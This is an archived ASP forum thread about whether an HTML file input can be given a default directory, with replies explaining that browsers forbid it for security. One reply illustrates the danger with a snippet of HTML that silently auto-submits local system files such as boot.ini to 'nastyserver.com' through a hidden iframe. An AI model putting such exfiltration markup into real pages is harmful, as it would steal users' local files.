Professional Web Applications Themes

input type=file - ASP

is it possible to define a default or start up directory with input type="file" field type? If so, is it also possible to filter by another option box selection? If so, how so? Thank you Paul Moffitt...

  1. #1

    Default input type=file

    is it possible to define a default or start up directory with input
    type="file" field type?

    If so, is it also possible to filter by another option box selection?

    If so, how so?

    Thank you

    Paul Moffitt


    Paul Moffitt Guest

  2. #2

    Default Re: input type=file

    No, it is not. For security reasons, you cannot pre-specify any sort of
    value for a file input. (Unless you run across someone using IE 1 or
    something maybe...)

    Ray at work

    "Paul Moffitt" <NOSPAMpaulmoffittiniinc.com> wrote in message
    news:eNNNfGXbDHA.1808TK2MSFTNGP11.phx.gbl...
    > is it possible to define a default or start up directory with input
    > type="file" field type?
    >
    > If so, is it also possible to filter by another option box selection?
    >
    > If so, how so?
    >
    > Thank you
    >
    > Paul Moffitt
    >
    >

    Ray at Guest

  3. #3

    Default Re: input type=file

    > is it possible to define a default or start up directory with input
    > type="file" field type?
    No. What would prevent you from doing this?

    <form method=post action=http://nastyserver.com/ target=hiddenframe>
    <input type=file value='c:\boot.ini'>
    <input type=file value='c:\windows\system32\user.dat'>
    ....
    etc etc
    ....
    </form>
    <iframe name=hiddenframe width=1 height=1 style='visibility:hidden'>
    </iframe>
    <script>
    doent.forms[0].submit();
    </script>

    I rather like this security mechanism. If your users can't figure out how
    to use a browse... dialog, it might be time to upgrade to better users.


    Aaron Bertrand - MVP Guest

  4. #4

    Default Re: input type=file

    >> it might be time to upgrade to better users.


    Where do I request this upgrade? I didn't even know I had
    that option. Do I send the old ones (users) back to you?

    :)

    John

    John Beschler Guest

  5. #5

    Default Re: input type=file

    > Do I send the old ones (users) back to you?

    Gosh no. I think I'm about 5 versions ahead of you. :-)


    Aaron Bertrand - MVP Guest

Similar Threads

  1. changing input type file
    By Gladriel in forum ASP.NET Building Controls
    Replies: 2
    Last Post: September 30th, 10:26 AM
  2. Input type file on asp page
    By GwenP in forum ASP
    Replies: 0
    Last Post: April 29th, 03:24 PM
  3. Replies: 3
    Last Post: October 18th, 06:56 AM
  4. Replies: 2
    Last Post: October 16th, 08:29 AM
  5. reading the input type=file tag with ie6 in asp
    By Joel Goldstick in forum ASP
    Replies: 1
    Last Post: September 25th, 10:49 PM

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139